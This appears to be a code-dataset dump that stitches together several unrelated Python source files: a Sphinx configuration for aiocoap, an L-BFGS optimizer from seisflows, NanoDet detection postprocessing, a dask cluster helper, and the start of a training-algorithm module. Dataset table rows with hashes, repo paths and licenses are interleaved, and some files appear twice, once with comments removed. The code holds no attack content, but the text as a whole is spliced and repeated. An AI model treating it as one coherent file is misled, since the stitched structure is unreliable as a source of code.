# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'default'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}
# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
#html_short_title = None
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None
# The name of an image file (within the static path) to use as favicon of the
# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}
# If false, no module index is generated.
#html_domain_indices = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True
# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None
# Output file base name for HTML help builder.
htmlhelp_basename = 'aiocoap'
autodoc_member_order = 'bysource'
| 32.666667 | 79 | 0.734529 |
import sys
import os
sys.path.insert(0, os.path.abspath('.'))
sys.path.insert(0, os.path.abspath('..'))
extensions = [
'sphinx.ext.autodoc',
]
templates_path = ['_templates']
source_suffix = '.rst'
master_doc = 'index'
project = u'aiocoap'
copyright = u'2014, Maciej Wasilak, Christian Amsüss'
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0.1'
# The full version, including alpha/beta/rc tags.
release = '0.1'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = []
# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'default'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}
# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
#html_short_title = None
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None
# The name of an image file (within the static path) to use as favicon of the
# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}
# If false, no module index is generated.
#html_domain_indices = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True
# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None
# Output file base name for HTML help builder.
htmlhelp_basename = 'aiocoap'
autodoc_member_order = 'bysource'
| true | true |
f7f351cced761f324f0118044fd379ea5d086f98 | 4,111 | py | Python | seisflows/optimize/lib/LBFGS.py | chukren/seisflows | c4a5a8a9411b365c9bba818f6ed3ba03f24e681b | [
"BSD-2-Clause"
] | 1 | 2017-08-31T09:11:39.000Z | 2017-08-31T09:11:39.000Z | seisflows/optimize/lib/LBFGS.py | chukren/seisflows | c4a5a8a9411b365c9bba818f6ed3ba03f24e681b | [
"BSD-2-Clause"
] | null | null | null | seisflows/optimize/lib/LBFGS.py | chukren/seisflows | c4a5a8a9411b365c9bba818f6ed3ba03f24e681b | [
"BSD-2-Clause"
] | 1 | 2020-04-16T08:38:49.000Z | 2020-04-16T08:38:49.000Z |
import numpy as np
from seisflows.tools import unix
from seisflows.tools.array import loadnpy, savenpy
from seisflows.tools.code import savetxt, exists
from seisflows.tools.math import angle
class LBFGS(object):
""" Limited-memory BFGS algorithm
Includes optional safeguards: periodic restarting and descent
conditions.
To conserve memory, most vectors are read from disk rather than
passed from a calling routine.
"""
def __init__(self, path='.', load=loadnpy, save=savenpy, memory=5, thresh=0., maxiter=np.inf, precond=None):
assert exists(path)
unix.cd(path)
unix.mkdir('LBFGS')
self.path = path
self.load = load
self.save = save
self.thresh = thresh
self.maxiter = maxiter
self.precond = precond
self.memory = memory
self.iter = 0
self.memory_used = 0
def __call__(self):
""" Returns L-BFGS search direction
"""
self.iter += 1
g = self.load('g_new')
if self.iter == 1:
return -g, 0
elif self.iter > self.maxiter:
print 'restarting LBFGS... [periodic restart]'
self.restart()
return -g, 1
S, Y = self.update()
q = self.apply(g, S, Y)
status = self.check_status(g,q)
if status != 0:
self.restart()
return -g, status
else:
return -q, status
def update(self):
""" Updates L-BFGS algorithm history
"""
unix.cd(self.path)
s = self.load('m_new') - self.load('m_old')
y = self.load('g_new') - self.load('g_old')
m = len(s)
n = self.memory
if self.memory_used == 0:
S = np.memmap('LBFGS/S', mode='w+', dtype='float32', shape=(m, n))
Y = np.memmap('LBFGS/Y', mode='w+', dtype='float32', shape=(m, n))
S[:, 0] = s
Y[:, 0] = y
self.memory_used = 1
else:
S = np.memmap('LBFGS/S', mode='r+', dtype='float32', shape=(m, n))
Y = np.memmap('LBFGS/Y', mode='r+', dtype='float32', shape=(m, n))
S[:, 1:] = S[:, :-1]
Y[:, 1:] = Y[:, :-1]
S[:, 0] = s
Y[:, 0] = y
if self.memory_used < self.memory:
self.memory_used += 1
return S, Y
def apply(self, q, S=[], Y=[]):
""" Applies L-BFGS inverse Hessian to given vector
"""
unix.cd(self.path)
if S==[] or Y==[]:
m = len(q)
n = self.memory
S = np.memmap('LBFGS/S', mode='w+', dtype='float32', shape=(m, n))
Y = np.memmap('LBFGS/Y', mode='w+', dtype='float32', shape=(m, n))
# first matrix product
kk = self.memory_used
rh = np.zeros(kk)
al = np.zeros(kk)
for ii in range(kk):
rh[ii] = 1/np.dot(Y[:,ii], S[:,ii])
al[ii] = rh[ii]*np.dot(S[:,ii], q)
q = q - al[ii]*Y[:,ii]
if self.precond:
r = self.precond(q)
else:
r = q
# use scaling M3 proposed by Liu and Nocedal 1989
sty = np.dot(Y[:,0], S[:,0])
yty = np.dot(Y[:,0], Y[:,0])
r *= sty/yty
# second matrix product
for ii in range(kk-1, -1, -1):
be = rh[ii]*np.dot(Y[:,ii], r)
r = r + S[:,ii]*(al[ii] - be)
return r
def restart(self):
""" Discards history and resets counters
"""
self.iter = 1
self.memory_used = 0
unix.cd(self.path)
S = np.memmap('LBFGS/S', mode='r+')
Y = np.memmap('LBFGS/Y', mode='r+')
S[:] = 0.
Y[:] = 0.
def check_status(self, g, r):
theta = 180.*np.pi**-1*angle(g,r)
if not 0. < theta < 90.:
print 'restarting LBFGS... [not a descent direction]'
return 1
elif theta > 90. - self.thresh:
print 'restarting LBFGS... [practical safeguard]'
return 1
else:
return 0
| 26.184713 | 112 | 0.486256 |
import numpy as np
from seisflows.tools import unix
from seisflows.tools.array import loadnpy, savenpy
from seisflows.tools.code import savetxt, exists
from seisflows.tools.math import angle
class LBFGS(object):
""" Limited-memory BFGS algorithm
Includes optional safeguards: periodic restarting and descent
conditions.
To conserve memory, most vectors are read from disk rather than
passed from a calling routine.
"""
def __init__(self, path='.', load=loadnpy, save=savenpy, memory=5, thresh=0., maxiter=np.inf, precond=None):
assert exists(path)
unix.cd(path)
unix.mkdir('LBFGS')
self.path = path
self.load = load
self.save = save
self.thresh = thresh
self.maxiter = maxiter
self.precond = precond
self.memory = memory
self.iter = 0
self.memory_used = 0
def __call__(self):
""" Returns L-BFGS search direction
"""
self.iter += 1
g = self.load('g_new')
if self.iter == 1:
return -g, 0
elif self.iter > self.maxiter:
print 'restarting LBFGS... [periodic restart]'
self.restart()
return -g, 1
S, Y = self.update()
q = self.apply(g, S, Y)
status = self.check_status(g,q)
if status != 0:
self.restart()
return -g, status
else:
return -q, status
def update(self):
""" Updates L-BFGS algorithm history
"""
unix.cd(self.path)
s = self.load('m_new') - self.load('m_old')
y = self.load('g_new') - self.load('g_old')
m = len(s)
n = self.memory
if self.memory_used == 0:
S = np.memmap('LBFGS/S', mode='w+', dtype='float32', shape=(m, n))
Y = np.memmap('LBFGS/Y', mode='w+', dtype='float32', shape=(m, n))
S[:, 0] = s
Y[:, 0] = y
self.memory_used = 1
else:
S = np.memmap('LBFGS/S', mode='r+', dtype='float32', shape=(m, n))
Y = np.memmap('LBFGS/Y', mode='r+', dtype='float32', shape=(m, n))
S[:, 1:] = S[:, :-1]
Y[:, 1:] = Y[:, :-1]
S[:, 0] = s
Y[:, 0] = y
if self.memory_used < self.memory:
self.memory_used += 1
return S, Y
def apply(self, q, S=[], Y=[]):
""" Applies L-BFGS inverse Hessian to given vector
"""
unix.cd(self.path)
if S==[] or Y==[]:
m = len(q)
n = self.memory
S = np.memmap('LBFGS/S', mode='w+', dtype='float32', shape=(m, n))
Y = np.memmap('LBFGS/Y', mode='w+', dtype='float32', shape=(m, n))
kk = self.memory_used
rh = np.zeros(kk)
al = np.zeros(kk)
for ii in range(kk):
rh[ii] = 1/np.dot(Y[:,ii], S[:,ii])
al[ii] = rh[ii]*np.dot(S[:,ii], q)
q = q - al[ii]*Y[:,ii]
if self.precond:
r = self.precond(q)
else:
r = q
sty = np.dot(Y[:,0], S[:,0])
yty = np.dot(Y[:,0], Y[:,0])
r *= sty/yty
for ii in range(kk-1, -1, -1):
be = rh[ii]*np.dot(Y[:,ii], r)
r = r + S[:,ii]*(al[ii] - be)
return r
def restart(self):
""" Discards history and resets counters
"""
self.iter = 1
self.memory_used = 0
unix.cd(self.path)
S = np.memmap('LBFGS/S', mode='r+')
Y = np.memmap('LBFGS/Y', mode='r+')
S[:] = 0.
Y[:] = 0.
def check_status(self, g, r):
theta = 180.*np.pi**-1*angle(g,r)
if not 0. < theta < 90.:
print 'restarting LBFGS... [not a descent direction]'
return 1
elif theta > 90. - self.thresh:
print 'restarting LBFGS... [practical safeguard]'
return 1
else:
return 0
| false | true |
f7f351ce4c85a7fbdb7d364e2dcc2de337a984dd | 4,264 | py | Python | hailo_model_zoo/core/postprocessing/detection/nanodet.py | maxpark/hailo_model_zoo | 94beb7d80ef56e5dfa9978c90486e45a73306c79 | [
"MIT"
] | 1 | 2022-02-19T01:21:17.000Z | 2022-02-19T01:21:17.000Z | hailo_model_zoo/core/postprocessing/detection/nanodet.py | maxpark/hailo_model_zoo | 94beb7d80ef56e5dfa9978c90486e45a73306c79 | [
"MIT"
] | null | null | null | hailo_model_zoo/core/postprocessing/detection/nanodet.py | maxpark/hailo_model_zoo | 94beb7d80ef56e5dfa9978c90486e45a73306c79 | [
"MIT"
] | null | null | null | import tensorflow as tf
import numpy as np
from tensorflow.image import combined_non_max_suppression
from .centernet import COCO_2017_TO_2014_TRANSLATION
class NanoDetPostProc:
def __init__(self, img_dims=(416, 416), nms_iou_thresh=0.6, labels_offset=0,
score_threshold=0.3, anchors=None, classes=80, **kwargs):
self._num_classes = classes
self._image_dims = img_dims
self._nms_iou_thresh = nms_iou_thresh
self._score_threshold = score_threshold
self._strides = anchors.strides
self.reg_max = anchors.regression_length
self._labels_offset = labels_offset
def _get_scores_boxes(self, endnodes):
scores, boxes = [], []
for node in endnodes:
fm_size_h, fm_size_w = node.shape[1:3]
scores.append(tf.reshape(node[:, :, :, :self._num_classes],
[-1, fm_size_h * fm_size_w, self._num_classes]))
boxes.append(tf.reshape(node[:, :, :, self._num_classes:],
[-1, fm_size_h * fm_size_w, 4, (self.reg_max + 1)]))
return tf.concat(scores, axis=1), boxes
def _box_decoding(self, raw_boxes):
boxes = None
for box_distribute, stride in zip(raw_boxes, self._strides):
# create grid
shape = [int(x / stride) for x in self._image_dims]
grid_x = np.arange(shape[1])
grid_y = np.arange(shape[0])
grid_x, grid_y = np.meshgrid(grid_x, grid_y)
ct_row = (grid_y.flatten() + 0.5) * stride
ct_col = (grid_x.flatten() + 0.5) * stride
center = np.stack((ct_col, ct_row, ct_col, ct_row), axis=1)
# box distribution to distance
reg_range = np.arange(self.reg_max + 1)
box_distance = tf.nn.softmax(box_distribute, axis=-1)
box_distance = box_distance * np.reshape(reg_range, (1, 1, 1, -1))
box_distance = tf.reduce_sum(box_distance, axis=-1)
box_distance = box_distance * stride
# decode box
box_distance = tf.concat([box_distance[:, :, :2] * (-1), box_distance[:, :, 2:]], axis=-1)
decode_box = np.expand_dims(center, axis=0) + box_distance
# clipping
xmin = tf.maximum(0.0, decode_box[:, :, 0]) / self._image_dims[1]
ymin = tf.maximum(0.0, decode_box[:, :, 1]) / self._image_dims[0]
xmax = tf.minimum(tf.cast(self._image_dims[1], tf.float32), decode_box[:, :, 2]) / self._image_dims[1]
ymax = tf.minimum(tf.cast(self._image_dims[0], tf.float32), decode_box[:, :, 3]) / self._image_dims[0]
decode_box = tf.transpose([ymin, xmin, ymax, xmax], [1, 2, 0])
boxes = decode_box if boxes is None else tf.concat([boxes, decode_box], axis=1)
return tf.expand_dims(boxes, axis=2)
def postprocessing(self, endnodes, **kwargs):
scores, raw_boxes = self._get_scores_boxes(endnodes)
# decode score/class
scores = tf.sigmoid(scores)
# decode boxes
boxes = self._box_decoding(raw_boxes)
# nms
(nmsed_boxes, nmsed_scores, nmsed_classes, num_detections) = \
combined_non_max_suppression(boxes=boxes,
scores=scores,
score_threshold=self._score_threshold,
iou_threshold=self._nms_iou_thresh,
max_output_size_per_class=100,
max_total_size=100)
# adding offset to the class prediction and cast to integer
def translate_coco_2017_to_2014(nmsed_classes):
return np.vectorize(COCO_2017_TO_2014_TRANSLATION.get)(nmsed_classes).astype(np.int32)
nmsed_classes = tf.cast(tf.add(nmsed_classes, self._labels_offset), tf.int16)
[nmsed_classes] = tf.py_function(translate_coco_2017_to_2014, [nmsed_classes], ['int32'])
nmsed_classes.set_shape((1, 100))
return {'detection_boxes': nmsed_boxes,
'detection_scores': nmsed_scores,
'detection_classes': nmsed_classes,
'num_detections': num_detections}
| 45.361702 | 114 | 0.594043 | import tensorflow as tf
import numpy as np
from tensorflow.image import combined_non_max_suppression
from .centernet import COCO_2017_TO_2014_TRANSLATION
class NanoDetPostProc:
def __init__(self, img_dims=(416, 416), nms_iou_thresh=0.6, labels_offset=0,
score_threshold=0.3, anchors=None, classes=80, **kwargs):
self._num_classes = classes
self._image_dims = img_dims
self._nms_iou_thresh = nms_iou_thresh
self._score_threshold = score_threshold
self._strides = anchors.strides
self.reg_max = anchors.regression_length
self._labels_offset = labels_offset
def _get_scores_boxes(self, endnodes):
scores, boxes = [], []
for node in endnodes:
fm_size_h, fm_size_w = node.shape[1:3]
scores.append(tf.reshape(node[:, :, :, :self._num_classes],
[-1, fm_size_h * fm_size_w, self._num_classes]))
boxes.append(tf.reshape(node[:, :, :, self._num_classes:],
[-1, fm_size_h * fm_size_w, 4, (self.reg_max + 1)]))
return tf.concat(scores, axis=1), boxes
def _box_decoding(self, raw_boxes):
boxes = None
for box_distribute, stride in zip(raw_boxes, self._strides):
shape = [int(x / stride) for x in self._image_dims]
grid_x = np.arange(shape[1])
grid_y = np.arange(shape[0])
grid_x, grid_y = np.meshgrid(grid_x, grid_y)
ct_row = (grid_y.flatten() + 0.5) * stride
ct_col = (grid_x.flatten() + 0.5) * stride
center = np.stack((ct_col, ct_row, ct_col, ct_row), axis=1)
reg_range = np.arange(self.reg_max + 1)
box_distance = tf.nn.softmax(box_distribute, axis=-1)
box_distance = box_distance * np.reshape(reg_range, (1, 1, 1, -1))
box_distance = tf.reduce_sum(box_distance, axis=-1)
box_distance = box_distance * stride
box_distance = tf.concat([box_distance[:, :, :2] * (-1), box_distance[:, :, 2:]], axis=-1)
decode_box = np.expand_dims(center, axis=0) + box_distance
xmin = tf.maximum(0.0, decode_box[:, :, 0]) / self._image_dims[1]
ymin = tf.maximum(0.0, decode_box[:, :, 1]) / self._image_dims[0]
xmax = tf.minimum(tf.cast(self._image_dims[1], tf.float32), decode_box[:, :, 2]) / self._image_dims[1]
ymax = tf.minimum(tf.cast(self._image_dims[0], tf.float32), decode_box[:, :, 3]) / self._image_dims[0]
decode_box = tf.transpose([ymin, xmin, ymax, xmax], [1, 2, 0])
boxes = decode_box if boxes is None else tf.concat([boxes, decode_box], axis=1)
return tf.expand_dims(boxes, axis=2)
def postprocessing(self, endnodes, **kwargs):
scores, raw_boxes = self._get_scores_boxes(endnodes)
scores = tf.sigmoid(scores)
boxes = self._box_decoding(raw_boxes)
(nmsed_boxes, nmsed_scores, nmsed_classes, num_detections) = \
combined_non_max_suppression(boxes=boxes,
scores=scores,
score_threshold=self._score_threshold,
iou_threshold=self._nms_iou_thresh,
max_output_size_per_class=100,
max_total_size=100)
def translate_coco_2017_to_2014(nmsed_classes):
return np.vectorize(COCO_2017_TO_2014_TRANSLATION.get)(nmsed_classes).astype(np.int32)
nmsed_classes = tf.cast(tf.add(nmsed_classes, self._labels_offset), tf.int16)
[nmsed_classes] = tf.py_function(translate_coco_2017_to_2014, [nmsed_classes], ['int32'])
nmsed_classes.set_shape((1, 100))
return {'detection_boxes': nmsed_boxes,
'detection_scores': nmsed_scores,
'detection_classes': nmsed_classes,
'num_detections': num_detections}
| true | true |
f7f351e2c56e7fd84257939f5c04a38d1e4c7ea7 | 6,383 | py | Python | enstools/core/cluster.py | wavestoweather/enstools | d0f612b0187b0ad54dfbbb78aa678564f46eaedf | [
"Apache-2.0"
] | 5 | 2021-12-16T14:08:00.000Z | 2022-03-02T14:08:10.000Z | enstools/core/cluster.py | wavestoweather/enstools | d0f612b0187b0ad54dfbbb78aa678564f46eaedf | [
"Apache-2.0"
] | null | null | null | enstools/core/cluster.py | wavestoweather/enstools | d0f612b0187b0ad54dfbbb78aa678564f46eaedf | [
"Apache-2.0"
] | null | null | null | """
functions used to create dask-clusters automatically based on the environment a script is executed in.
"""
import os
import sys
import dask
import distributed
import multiprocessing
from .tempdir import TempDir
from .batchjob import get_batch_job, _get_num_available_procs
import atexit
import logging
from time import sleep
# storage the batchjob object
batchjob_object = None
# adapt some settings for dask
from distributed.config import config
config["connect-timeout"] = "30" # increase the connect-timeout from 3 to 10s
def init_cluster(ntasks=None, extend=False):
"""
Create a Dask.distributed cluster and return the client object. The type of the cluster is automatically selected
based on the environment of the script. Inside of a SLURM job, a distributed Cluster is created. All allocated
resources are used for this purpose. Without a job scheduler like SLURM, a LocalCluster is created.
Parameters
----------
ntasks : int
the number of tasks (threads or processes) to start.
extend : bool
launch workers in a separate slurm jobs or not
Returns
-------
distributed.Client
a client object usable to submit computations to the new cluster.
"""
# In case of requesting an extension of the available resources through asking for more workers through SlurmCluster
# check that the sbatch command its present in the system and call init_slurm_cluster()
logging.debug("Starting cluster")
if extend == True and check_sbatch_availability():
job_id = os.getenv("SLURM_JOB_ID")
if job_id is None:
logging.info("Launching new workers through SLURM.")
else:
logging.info("Launching new workers through SLURM even do we already are inside a SLURM job with ID %s" %
job_id)
return init_slurm_cluster(nodes=ntasks)
# create a temporal directory for the work log files
tmpdir = TempDir(cleanup=False)
# figure out which type of cluster to create
global batchjob_object
batchjob_object = get_batch_job(local_dir=tmpdir.getpath(), ntasks=ntasks)
# start the distributed cluster prepared by the command above
batchjob_object.start()
return batchjob_object.get_client()
def init_slurm_cluster(nodes=1, tmp_dir="/dev/shm/"):
"""
# Submiting DASK workers to a Slurm cluster. Need to merge it with the init_cluster in enstools.core
Parameters
----------
nodes : int
number of nodes
"""
from dask.distributed import Client
from dask_jobqueue import SLURMCluster
# Define the kind of jobs that will be launched to the cluster
# This will apply for each one of the different jobs sent
cluster = SLURMCluster(
cores=12,
memory="24 GB",
queue="cluster",
local_directory=tmp_dir,
#silence_logs="debug",
)
# Start workers
cluster.scale(jobs=nodes)
client = Client(cluster)
logging.info("You can follow the dashboard in the following link:\n%s" % client.dashboard_link)
# client.wait_for_workers(nodes)
return client
def get_num_available_procs():
"""
Get the number of processes available for parallel execution of tasks. If a distributed cluster was started before,
then the number of workers within this cluster is returned. Otherwise the number of physical processors on the local
computer. If OMP_NUM_THREADS is defined, it's value will be used!
Returns
-------
int :
number of processors.
"""
if batchjob_object is not None:
return batchjob_object.ntasks
else:
return _get_num_available_procs()
def get_client_and_worker():
"""
This function can be used the get dask distributed client and worker objects.
Returns
-------
tuple :
(None, None): when called without dask cluster running
(client, None) when called on a non-worker process
(client, worker) when called on a worker process
"""
try:
client = distributed.get_client()
logging.debug("get_client_and_worker: client object found!")
except ValueError:
client = None
logging.debug("get_client_and_worker: not running in a dask cluster!")
if client is not None:
try:
worker = distributed.get_worker()
logging.debug("get_client_and_worker: worker object found!")
except ValueError:
worker = None
logging.debug("get_client_and_worker: not running inside of a worker process!")
else:
worker = None
return client, worker
def all_workers_are_local(client):
"""
Use the client the get information about the workers.
Returns
-------
bool :
True is all workers are running on local host
"""
workers = list(client.scheduler_info()['workers'])
for worker in workers:
if not worker.startswith("tcp://127.0.0.1:"):
return False
return True
class RoundRobinWorkerIterator():
def __init__(self, client):
"""
an iterator that iterates over and over over all workers
Parameters
----------
client : distributed.client
the client object of which the worker should be utilised.
"""
workers = list(client.scheduler_info()['workers'])
self.workers = list(map(lambda x: tuple(x.replace("tcp://", "").rsplit(":", 1)), workers))
self.index = 0
def __iter__(self):
return self
def next(self):
next = self.workers[self.index] # type: tuple
self.index += 1
if self.index == len(self.workers):
self.index = 0
return next
def check_sbatch_availability():
"""
Function that checks that sbatch command can be reached in the system.
It launches the sbatch version command and checks that the return code its 0.
"""
from subprocess import run, PIPE, CalledProcessError
command = "sbatch --version"
arguments = command.split()
result = run(arguments, stdout=PIPE)
try:
result.check_returncode()
return True
except CalledProcessError:
logging.warning("Sbatch its not available, won't start an additional cluster.")
return False | 32.237374 | 120 | 0.663168 | import os
import sys
import dask
import distributed
import multiprocessing
from .tempdir import TempDir
from .batchjob import get_batch_job, _get_num_available_procs
import atexit
import logging
from time import sleep
batchjob_object = None
from distributed.config import config
config["connect-timeout"] = "30"
def init_cluster(ntasks=None, extend=False):
logging.debug("Starting cluster")
if extend == True and check_sbatch_availability():
job_id = os.getenv("SLURM_JOB_ID")
if job_id is None:
logging.info("Launching new workers through SLURM.")
else:
logging.info("Launching new workers through SLURM even do we already are inside a SLURM job with ID %s" %
job_id)
return init_slurm_cluster(nodes=ntasks)
tmpdir = TempDir(cleanup=False)
global batchjob_object
batchjob_object = get_batch_job(local_dir=tmpdir.getpath(), ntasks=ntasks)
batchjob_object.start()
return batchjob_object.get_client()
def init_slurm_cluster(nodes=1, tmp_dir="/dev/shm/"):
from dask.distributed import Client
from dask_jobqueue import SLURMCluster
cluster = SLURMCluster(
cores=12,
memory="24 GB",
queue="cluster",
local_directory=tmp_dir,
)
cluster.scale(jobs=nodes)
client = Client(cluster)
logging.info("You can follow the dashboard in the following link:\n%s" % client.dashboard_link)
return client
def get_num_available_procs():
if batchjob_object is not None:
return batchjob_object.ntasks
else:
return _get_num_available_procs()
def get_client_and_worker():
try:
client = distributed.get_client()
logging.debug("get_client_and_worker: client object found!")
except ValueError:
client = None
logging.debug("get_client_and_worker: not running in a dask cluster!")
if client is not None:
try:
worker = distributed.get_worker()
logging.debug("get_client_and_worker: worker object found!")
except ValueError:
worker = None
logging.debug("get_client_and_worker: not running inside of a worker process!")
else:
worker = None
return client, worker
def all_workers_are_local(client):
workers = list(client.scheduler_info()['workers'])
for worker in workers:
if not worker.startswith("tcp://127.0.0.1:"):
return False
return True
class RoundRobinWorkerIterator():
def __init__(self, client):
workers = list(client.scheduler_info()['workers'])
self.workers = list(map(lambda x: tuple(x.replace("tcp://", "").rsplit(":", 1)), workers))
self.index = 0
def __iter__(self):
return self
def next(self):
next = self.workers[self.index]
self.index += 1
if self.index == len(self.workers):
self.index = 0
return next
def check_sbatch_availability():
from subprocess import run, PIPE, CalledProcessError
command = "sbatch --version"
arguments = command.split()
result = run(arguments, stdout=PIPE)
try:
result.check_returncode()
return True
except CalledProcessError:
logging.warning("Sbatch its not available, won't start an additional cluster.")
return False | true | true |
f7f352749009738976e31875512ed3bb30d05907 | 32,740 | py | Python | libs/blocks/blocks/algorithms/__init__.py | dendisuhubdy/twinnet-asr | 799220d682306467a2b401e42e788f8c33382b00 | [
"MIT"
] | 11 | 2018-09-18T07:48:43.000Z | 2020-06-27T07:20:19.000Z | libs/blocks/blocks/algorithms/__init__.py | dendisuhubdy/twinnet-asr | 799220d682306467a2b401e42e788f8c33382b00 | [
"MIT"
] | null | null | null | libs/blocks/blocks/algorithms/__init__.py | dendisuhubdy/twinnet-asr | 799220d682306467a2b401e42e788f8c33382b00 | [
"MIT"
] | 5 | 2018-04-11T03:09:17.000Z | 2020-04-07T12:19:31.000Z | """Training algorithms."""
import logging
import itertools
from abc import ABCMeta, abstractmethod
from collections import OrderedDict
from six.moves import reduce
from picklable_itertools.extras import equizip
import theano
from six import add_metaclass
from theano import tensor
from blocks.graph import ComputationGraph
from blocks.roles import add_role, ALGORITHM_HYPERPARAMETER, ALGORITHM_BUFFER
from blocks.theano_expressions import l2_norm
from blocks.utils import (dict_subset, pack, shared_floatx,
shared_floatx_zeros_matching)
logger = logging.getLogger(__name__)
def _create_algorithm_buffer_for(param, *args, **kwargs):
buf = shared_floatx_zeros_matching(param, *args, **kwargs)
buf.tag.for_parameter = param
add_role(buf, ALGORITHM_BUFFER)
return buf
@add_metaclass(ABCMeta)
class TrainingAlgorithm(object):
"""Base class for training algorithms.
A training algorithm object has a simple life-cycle.
First it is initialized by calling its :meth:`initialize` method.
At this stage, for instance, Theano functions can be compiled.
After that the :meth:`process_batch` method is repeatedly
called with a batch of training data as a parameter.
"""
@abstractmethod
def initialize(self, **kwargs):
"""Initialize the training algorithm."""
pass
@abstractmethod
def process_batch(self, batch):
"""Process a batch of training data.
Attributes
----------
batch : dict
A dictionary of (source name, data) pairs.
"""
pass
class DifferentiableCostMinimizer(TrainingAlgorithm):
"""Minimizes a differentiable cost given as a Theano expression.
Very often the goal of training is to minimize the expected value of a
Theano expression. Batch processing in this cases typically consists of
running a (or a few) Theano functions.
:class:`DifferentiableCostMinimizer` is the base class for such
algorithms.
Parameters
----------
cost : :class:`~tensor.TensorVariable`
The objective to be minimized.
parameters : list of :class:`~tensor.TensorSharedVariable`
The parameters to be tuned.
Attributes
----------
updates : list of :class:`~tensor.TensorSharedVariable` updates
Updates to be done for every batch. It is required that the
updates are done using the old values of optimized parameters.
cost : :class:`~tensor.TensorVariable`
The objective to be minimized.
parameters : list of :class:`~tensor.TensorSharedVariable`
The parameters to be tuned.
Notes
-----
Changing `updates` attribute or calling `add_updates` after
the `initialize` method is called will have no effect.
.. todo::
Some shared variables are not parameters (e.g. those created by
random streams).
.. todo::
Due to a rather premature status of the :class:`ComputationGraph`
class the parameter used only inside scans are not fetched
currently.
"""
def __init__(self, cost, parameters):
self.cost = cost
self.parameters = parameters
